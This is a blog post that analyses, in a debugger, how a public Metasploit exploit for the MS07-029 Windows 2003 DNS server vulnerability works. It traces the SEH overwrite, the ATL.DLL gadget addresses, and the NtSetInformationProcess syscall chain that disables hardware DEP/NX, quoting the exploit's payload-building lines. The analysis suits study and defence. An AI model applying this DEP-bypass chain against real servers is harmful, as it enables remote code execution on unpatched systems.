MS07-029 Series: - Part 4: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - Bypass hardware-enforced DEP/NX in real world
After I described how to exploit MS07-029 vulnerability on Windows 2003 Server SP1/SP2, now I will post about it again but in the different technique. In this post I will describe how to bypass hardware-enforced DEP or NX on Windows 2003 Server SP1/SP2 instead of software DEP (SafeSEH issue). However, because I have no NX support machine, so something will be missed and It’s very helpful if you help me to correct things.
Now, before I go to the debugging process, I have to review some exploit code to see how it’s work. As other posts, I use msdns_zonename.rb from http://www.metasploit.com as the exploit code to research. This is the return address section of Windows 2003 Server SP1/SP2 target:Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 }
0:011> !lmi 76a80000
Loaded Module Info: [76a80000]
Module: ATL
Base Address: 76a80000
Image Name: C:\WINDOWS\System32\ATL.DLL
...
It’s the image base of ATL.DLL and start at 0x76a80000. Then I go to the code of Windows 2003 SP1/SP2 exploitation section
off = mytarget['Off']
ib = mytarget['IB']
txt[ off ] = [ib + 0x2566].pack('V')
First, it set the payload to 0x76a80000 + 0x2566 = 0x76a82566 at the 1633th byte of the payload:
0:011> u 0x76a82566
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
76a8256c leave
76a8256d ret 14h
At the address 0x76a82566 is the instruction that add some value to ebp, switch value between ebp/esp and pop value of esp to ebp, then jump to the address on esp. Then, when I lookup the rest of code, I decide to step into the debugging process because it ‘s quite difficult to understand what the exploit code does.
I run the exploit and the debugger give the same result on other target:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00169f0e ebx=013a0000 ecx=00007a69 edx=013a0000 esi=00000003 edi=00169f0b
eip=01015462 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015462 mov byte ptr [edx],cl ds:0023:013a0000=??
After this phase, the exception handler will be called to handle the exception:
ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566}
0:012> bp 76a82566
0:012> p
Breakpoint 0 hit
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
Could you remember 0x76a82566 ? Yep, it is the fake return address in our payload that overwrite the SEH handler on the stack. It is also can bypass the SafeSEH protection (software DEP on Windows) because the ATL.DLL is complied with the older version of SafeSEH and the protection is broken. Then I continue the debugging process:
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave
0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a8256d esp=0189f8b4 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h
0:012> dd esp
0189f8b4 76a81da7 46356579 42387556 7a726759
The flow of execution will jump to 0x76a81da7. Where’s 0x76a81da7 come from ? It’s in the code line:
txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
What does this return address do ? It’s pop the value from the stack and store at esi, then return.
0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 pop esi
76a81da8 ret
0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da8 esp=0189f8d0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
The value 0xed stored in esi come from the code in this line:
txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
...
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
0:012> dd esp
0189f8d0 76a81da4 7ffe0300 63685572 76a8109c
0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x17:
76a81da4 pop ecx
76a81da5 mov eax,esi
76a81da7 pop esi
76a81da8 ret
The instructions at address 0x76a81da4 are the series of instruction that pop the value from the stack and then jmp to the address on the stack:
0:012> dd esp
0189f8d4 7ffe0300 63685572 76a8109c 7970574f
76a81da4 pop ecx
0:012> p
eax=00000000 ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da5 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x18:
76a81da5 mov eax,esi
0:012> p
Breakpoint 1 hit
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da7 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 5e pop esi
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a81da8 esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
Now, eax is set to 0xed and ecx is set to 0x7ffe0300, then jump to 0x76a8109c:
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a8109c esp=0189f8e0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!AtlComQIPtrAssign+0x23:
76a8109c call dword ptr [ecx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
The value 0x7ffe0300 is in the code line:
txt[ off + 36, 4] = [0x7ffe0300].pack('V')
0:007> dt ntdll!_KUSER_SHARED_DATA
…
+0x2f8 TestRetInstruction : Uint8B
+0x300 SystemCall : Uint4B
+0x304 SystemCallReturn : Uint4B
Now the flow of execution transfer to 0x7c8285e8 – ntdll!KiFastSystemCall:
0:012> u
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
7c8285ea 0f34 sysenter
After jump to 0x7c8285e8 – ntdll!KiFastSystemCall, the process will move value from esp to edx and run sysenter instruction. But wait… what is sysenter instruction -*- ? After I search through the google, I’ve found the interesting article Windows syscall shellcode. In summary, sysenter is the instruction that execute the “system call” of Microsoft Windows operating system – switch to ring 0 level – the kernel mode. The eax value is the system call number to be executed – in this case 0xed. What is the system call number 0xed ? It is NtSetInformationProcess (search at http://www.metasploit.com/users/opcode/syscalls.html).
The parameter of sysenter is passed to NtSetInformationProcess by edx. It points to the return address after execute the sysenter command and the array of argument that pass to the system call – NtSetInformationProcess in this case.
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=0189f8dc esi=63685572 edi=00000000
eip=7c8285ea esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:012> dd edx
0189f8dc 76a8109e 7970574f ffffffff 00000022
0189f8ec 7ffe0270 00000004 32395052 55434731
The value 0x76a8109e is the return address after execute sysenter instruction. The next 4 bytes are something that you can ignore. The next 16 bytes are the parameters passed to NtSetInformationProcess which in this line of code:
txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
0x22: ProcessExecuteFlags
7ffe0270: Address of Execute Flags which should point to 0x2
4: size of Execute Flags
In paper from uninformed.org, calling NtSetInformationProcess with these parameters will disable hardware-enforced DEP or NX. Before continue, I have to understand the meaning of 0x22 and 0xffe0270.
0:007> dt _KEXECUTE_OPTIONS
ntdll!_KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits
0:007> dd 7ffe0270
7ffe0270 00000002 01010000 00010000 00010001
+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar
0:007> dd 0x7ffe026c
7ffe026c 00000005 00000002 01010000 00010000
Now back to the analysis process. After the call of NtSetInformationProcess, the NX would be disabled and the flow of execution is transferred to 0x76a8109e – after the call dword ptr [ecx] instruction at 0x76a8109c
ATL!AtlComQIPtrAssign+0x25:
76a8109e test edi,edi
When back to 0x76a8109e, the process executes 2 -3 instructions and then crash again at 0x76a810a8 – ATL!AtlComQIPtrAssign+0x2f:
ATL!AtlComQIPtrAssign+0x2f:
76a810a8 mov eax,dword ptr [esi] ds:0023:6447504f=????????
And then our fake exception handler is called again:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566)}
76a82566 add ebp,5Ach
76a8256c leave
76a8256d ret 14h
0:007> dd esp
0139fae8 76a935bf 696e504a 77434a69 46555951
txt[ off, 4 ] = [ib + 0x135bf].pack('V')
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a935bf esp=0139fb00 ebp=4242666d iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ATL!__pfnDliNotifyHook2
76a935bf jmp esp {0139fb00}
0:007> dd esp
0139fb00 cccccccc 047f0566 43d43924 b2fc3b46